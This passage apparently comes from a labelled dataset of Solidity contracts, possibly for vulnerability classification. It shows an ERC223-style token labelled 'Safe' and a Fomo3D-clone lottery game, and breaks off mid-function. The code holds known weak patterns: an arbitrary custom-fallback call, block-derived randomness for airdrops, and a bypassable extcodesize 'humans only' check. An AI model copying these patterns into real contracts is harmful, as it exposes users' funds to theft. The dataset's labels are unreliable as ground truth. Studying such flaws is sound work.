uint8 public decimals = 8; uint256 public totalSupply = 280e8 * 1e8; uint256 public distributeAmount = 0; address public Firstsale = 0x0b7F0b37E42EE462C47387eCB3C482a024219BE9; address public Marketing = 0xedabc0a432CD6a75f8859a437046757cCd5EE171; address public Development = 0xF1e899C6aF55aE3F0e9bD7F54f3Bb0815EdcDE29; address public Management = 0x8f94D76edDb07d6101dF9Bc9089bbA38bBAD1AC6; mapping(address => uint256) public balanceOf; mapping(address => mapping (address => uint256)) public allowance; mapping (address => bool) public frozenAccount; mapping (address => uint256) public unlockUnixTime; event FrozenFunds(address indexed target, bool frozen); event LockedFunds(address indexed target, uint256 locked); event Burn(address indexed from, uint256 amount); /** * @dev Constructor is called only once and can not be called again */ function ClipToken() public { owner = 0xA980B73726F8BC0AdC96A837433e6c49CDFD7f27; balanceOf[Firstsale] = totalSupply.mul(65).div(100); balanceOf[Marketing] = totalSupply.mul(10).div(100); balanceOf[Development] = totalSupply.mul(15).div(100); balanceOf[Management] = totalSupply.mul(10).div(100); } function name() public view returns (string _name) { return name; } function symbol() public view returns (string _symbol) { return symbol; } function decimals() public view returns (uint8 _decimals) { return decimals; } function totalSupply() public view returns (uint256 _totalSupply) { return totalSupply; } function balanceOf(address _owner) public view returns (uint256 balance) { return balanceOf[_owner]; } /** * Function that is called when a user or another contract wants to transfer funds . */ function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if (isContract(_to)) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data)); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } else { return transferToAddress(_to, _value, _data); } } function transfer(address _to, uint _value, bytes _data) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if (isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } //standard function transfer similar to ERC20 transfer with no _data //added due to backwards compatibility reasons function transfer(address _to, uint _value) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); bytes memory empty; if (isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } // assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length > 0); } // function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } // function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } /** * Function to prevent targets from sending or receiving tokens(Freeze User) */ function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public { require(targets.length > 0); for (uint c = 0; c < targets.length; c++) { require(targets[c] != 0x0); frozenAccount[targets[c]] = isFrozen; FrozenFunds(targets[c], isFrozen); } } /** * Function to prevent targets from sending or receiving tokens by setting Unix times */ function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public { require(targets.length > 0 && targets.length == unixTimes.length); for(uint c = 0; c < targets.length; c++){ require(unlockUnixTime[targets[c]] < unixTimes[c]); unlockUnixTime[targets[c]] = unixTimes[c]; LockedFunds(targets[c], unixTimes[c]); } } /** * @dev Burns a specific amount of tokens. * @param _from The address that will burn the tokens. * @param _unitAmount The amount of token to be burned. */ function burn(address _from, uint256 _unitAmount) onlyOwner public { require(_unitAmount > 0 && balanceOf[_from] >= _unitAmount); balanceOf[_from] = SafeMath.sub(balanceOf[_from], _unitAmount); totalSupply = SafeMath.sub(totalSupply, _unitAmount); Burn(_from, _unitAmount); } /** * Function to transfer tokens from one address to another added due to backwards compatibility with ERC20 */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != address(0) && _value > 0 && balanceOf[_from] >= _value && allowance[_from][msg.sender] >= _value && frozenAccount[_from] == false && frozenAccount[_to] == false && now > unlockUnixTime[_from] && now > unlockUnixTime[_to]); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Function to distribute tokens to the list of addresses by the provided amount */ function distributeTheSameAmountOfTokens(address[] addresses, uint256 amount) public returns (bool) { require(amount > 0 && addresses.length > 0 && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); amount = amount.mul(1e8); uint256 totalAmount = amount.mul(addresses.length); require(balanceOf[msg.sender] >= totalAmount); for (uint j = 0; j < addresses.length; j++) { require(addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount); Transfer(msg.sender, addresses[j], amount); } balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount); return true; } /** * Function to distribute different amount of tokens for each to the list of addresses by the provided amount */ function distributeTokens(address[] addresses, uint[] amounts) public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); uint256 totalAmount = 0; for(uint j = 0; j < addresses.length; j++){ require(amounts[j] > 0 && addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); amounts[j] = amounts[j].mul(1e8); totalAmount = totalAmount.add(amounts[j]); } require(balanceOf[msg.sender] >= totalAmount); for (j = 0; j < addresses.length; j++) { balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]); Transfer(msg.sender, addresses[j], amounts[j]); } balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount); return true; } /** * @dev Function to collect tokens from the list of addresses */ function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length); uint256 totalAmount = 0; for (uint j = 0; j < addresses.length; j++) { require(amounts[j] > 0 && addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); amounts[j] = amounts[j].mul(1e8); require(balanceOf[addresses[j]] >= amounts[j]); balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]); totalAmount = totalAmount.add(amounts[j]); Transfer(addresses[j], msg.sender, amounts[j]); } balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount); return true; } function setDistributeAmount(uint256 _unitAmount) onlyOwner public { distributeAmount = _unitAmount; } /** * Function to distribute tokens to the msg.sender automatically */ function autoDistribute() payable public { require(distributeAmount > 0 && balanceOf[Marketing] >= distributeAmount && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); if(msg.value > 0) Marketing.transfer(msg.value); balanceOf[Marketing] = balanceOf[Marketing].sub(distributeAmount); balanceOf[msg.sender] = balanceOf[msg.sender].add(distributeAmount); Transfer(Marketing, msg.sender, distributeAmount); } /** * @dev Allows _spender to spend no more than _value tokens in your behalf * Added due to backwards compatibility with ERC20 * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender * Added due to backwards compatibility with ERC20 * @param _owner address The address which owns the funds * @param _spender address The address which will spend the funds */ function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowance[_owner][_spender]; } /** * @dev fallback function */ function() payable public { autoDistribute(); } }",Safe,8,8 3685.sol,"pragma solidity ^0.4.24; contract F3Devents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } contract modularShort is F3Devents {} contract F3DNEW is modularShort { using SafeMath for *; using NameFilter for string; using F3DKeysCalcShort for uint256; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x9Aa6C2FBF1C610670Ba575c76EcF37E3aA0FfEd0); address private admin = msg.sender; string constant public name = ""F3D TOP""; string constant public symbol = ""F3DTOP""; uint256 private rndExtra_ = 0; uint256 private rndGap_ = 2 minutes; uint256 constant private rndInit_ = 18 minutes; uint256 constant private rndInc_ = 1 seconds; uint256 constant private rndMax_ = 30 minutes; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => F3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => F3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => F3Ddatasets.TeamFee) public fees_; mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = F3Ddatasets.TeamFee(22,6); fees_[1] = F3Ddatasets.TeamFee(38,0); fees_[2] = F3Ddatasets.TeamFee(52,10); fees_[3] = F3Ddatasets.TeamFee(68,8); potSplit_[0] = F3Ddatasets.PotSplit(15,10); potSplit_[1] = F3Ddatasets.PotSplit(25,0); potSplit_[2] = F3Ddatasets.PotSplit(20,20); potSplit_[3] = F3Ddatasets.PotSplit(30,10); } modifier isActivated() { require(activated_ == true, ""its not ready yet. check ?eta in discord""); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""sorry humans only""); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, ""pocket lint: not a valid currency""); require(_eth <= 100000000000000000000000, ""no vitalik, no""); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { F3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != """") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); _com = _com.add(_p3d.sub(_p3d / 2)); admin.transfer(_com); _res = _res.add(_p3d / 2); round_[_rID].mask = _ppt.add(round_[_rID].mask); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 